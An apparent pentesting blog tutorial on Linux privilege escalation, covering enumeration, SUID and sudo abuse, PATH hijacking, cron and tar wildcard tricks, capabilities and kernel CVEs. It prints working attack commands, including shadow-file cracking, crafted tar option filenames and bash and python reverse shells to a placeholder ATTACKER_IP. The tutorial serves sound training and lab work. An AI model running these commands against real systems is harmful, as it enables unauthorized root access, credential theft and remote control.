~ / blog / linux-privilege-escalation

Understanding Linux Privilege Escalation

A focused guide to common Linux privilege escalation paths, including SUID abuse, cron jobs, weak permissions, and systematic enumeration.

What This Covers

A practical reference for enumerating Linux systems and validating the most common privilege escalation paths in labs or post-exploitation scenarios.

Target / Lab

Linux privilege escalation labs and post-exploitation scenarios

Tools Used
BashLinPEASGTFOBinssudo
Key Takeaways
  • Start with enumeration before reaching for any exploit.
  • Check SUID, sudo, cron, PATH, and writable scripts before chasing edge cases.
  • Validate every escalation path against the target's permissions and runtime context.
// contents
  1. System Enumeration
  2. SUID Exploitation
  3. SUDO Exploitation
  4. PATH Hijacking
  5. Cronjob Enumeration
  6. Wildcard Expansion
  7. Capabilities Enumeration
  8. Local Service Exploitation
  9. Unshadow Attack
  10. Reverse Shell
  11. Linux Binary Exploitation
  12. Kernel Exploitation
ℹ️ What is Privilege Escalation?

Privilege escalation is the process of gaining higher-level permissions than originally granted — most commonly going from a low-privilege shell to root. It's a core phase in any pentest after gaining initial access.

System Enumeration

Before attempting any exploit, map out the target. Understand the OS version, running processes, users, network services, and file permissions. This is what separates a methodical pentester from someone just running scripts blindly.

bash — key enumeration commands
uname -a           # kernel version and architecture
id                 # current user and group membership
whoami             # current user
cat /etc/passwd    # list of all users
ps aux             # running processes
netstat -tulpn     # open ports and listening services
find / -writable -type f 2>/dev/null  # world-writable files
✅ Tip

Use automated enumeration scripts like LinPEAS or LinEnum to speed this up — but always understand what they're finding and why it matters.

SUID Exploitation

SUID (Set User ID) is a special file permission that lets a binary run as its owner rather than the user executing it. If a root-owned binary has SUID set and is exploitable, you can get a root shell.

bash — find SUID binaries
find / -perm -4000 -type f 2>/dev/null

Once you have a list, check each binary against GTFOBins — a curated list of Unix binaries that can be abused. Common targets include vim, nmap, python, bash, and find.

example — exploiting SUID python
# If python has SUID:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

SUDO Exploitation

Misconfigured sudo rules are one of the most common privesc vectors. If a user can run certain commands as root without a password, those commands can often be abused.

bash — check sudo privileges
sudo -l

Look for entries like (ALL) NOPASSWD: /usr/bin/vim. Then check GTFOBins for the allowed binary. Editors, scripting languages, and file utilities are especially dangerous with sudo rights.

⚠️ Misconfiguration to avoid

Never grant ALL or NOPASSWD without tight restrictions. Even seemingly harmless binaries like less, awk, or env can be exploited.

PATH Hijacking

When a script or binary calls another program using a relative path (e.g., just ls instead of /bin/ls), it searches through directories in $PATH in order. If you can write to a directory that appears earlier in PATH, you can plant a malicious binary with the same name.

bash — PATH hijack example
# If a SUID script calls "service" without an absolute path:
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
./vulnerable_script    # now runs your fake "service"

Cronjob Enumeration

Cron jobs run scheduled tasks, often as root. If the script being executed is writable by your user, you can replace its contents and wait for root to run it for you.

bash — enumerate cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l             # current user's crontab
cat /var/spool/cron/*  # other users' crontabs (if readable)

Look for scripts owned by root but writable by others, or scripts in world-writable directories. Even if the script itself isn't writable, check if it references other files that are.

Wildcard Expansion Exploitation

Some commands expand wildcards (*) in a way that can be abused. The classic example is tar — if a cron job runs tar czf backup.tar.gz * in a directory you control, you can create files with names that look like tar options.

bash — tar wildcard exploit
# Create these files in the target directory:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"

# When tar runs with *, it interprets these as options
# Then execute:
/tmp/bash -p    # root shell

Capabilities Enumeration

Linux capabilities are a fine-grained alternative to SUID — they give a binary specific root powers without full root access. Some capabilities are just as dangerous as SUID and are often overlooked.

bash — find binaries with capabilities
getcap -r / 2>/dev/null

Look for cap_setuid+ep — if Python, Perl, or Ruby has this, you can spawn a root shell. Check GTFOBins under the "Capabilities" filter for exploitation methods.

Local Service Exploitation

Services running on localhost (only accessible from the machine itself) are often less hardened than internet-facing services. Look for databases, internal APIs, or admin panels running on non-standard ports.

bash — find internal services
ss -tulpn
netstat -tulpn 2>/dev/null

Unshadow Attack

If you can read both /etc/passwd and /etc/shadow, you can combine them and attempt to crack password hashes offline — much faster than online brute-forcing.

bash — unshadow and crack
unshadow /etc/passwd /etc/shadow > unshadowed.txt

# Crack with John the Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

# Or with Hashcat:
hashcat -m 1800 unshadowed.txt rockyou.txt

Reverse Shell

A reverse shell makes the target machine connect back to you rather than you connecting to it — useful when inbound ports are blocked. After getting a low-priv shell, you can use it to chain further exploitation.

bash — classic reverse shell payload
# On attacker machine, start listener:
nc -lvnp 4444

# On target machine, run:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Python alternative:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
⚠️ Reminder

Only use reverse shells on systems you own or have explicit authorization to test. Unauthorized access is illegal.

Linux Binary Exploitation

If a locally installed application has a memory corruption vulnerability, you can exploit it to get a root shell. This is more advanced and typically requires understanding of stack layout, calling conventions, and protections like ASLR and NX.

Tools: GDB + pwndbg, pwntools (Python), checksec to inspect binary protections, Exploit-DB for existing PoCs.

Kernel Exploitation

Unpatched kernel vulnerabilities can be exploited to go straight from any user to root. These are high-impact but also risky — a bad exploit can crash the system. Identify the exact kernel version first, then search for known CVEs.

bash — identify kernel and find exploits
uname -r    # e.g. 4.4.0-116-generic

# Use linux-exploit-suggester:
./linux-exploit-suggester.sh

# Or manually search:
# searchsploit linux kernel 4.4

Notable examples: Dirty COW (CVE-2016-5195), OverlayFS (CVE-2015-1328), PwnKit (CVE-2021-4034), DirtyPipe (CVE-2022-0847).


✅ Key Takeaways

Privilege escalation is mostly about thorough enumeration first. Run LinPEAS, check SUID/capabilities/sudo rules, look for writable cron scripts, and always verify kernel version. The path to root is almost always something simple that was misconfigured — not some 0-day.

Move through the archive

Browse all posts
Newer post PortSwigger SQLi Labs Write-Up 2026-04-02 . ~45 min read Older post Getting Started with Burp Suite 2025-07-23 . ~5 min read

More from the archive

A few more write-ups to keep the thread going.

← Back to blog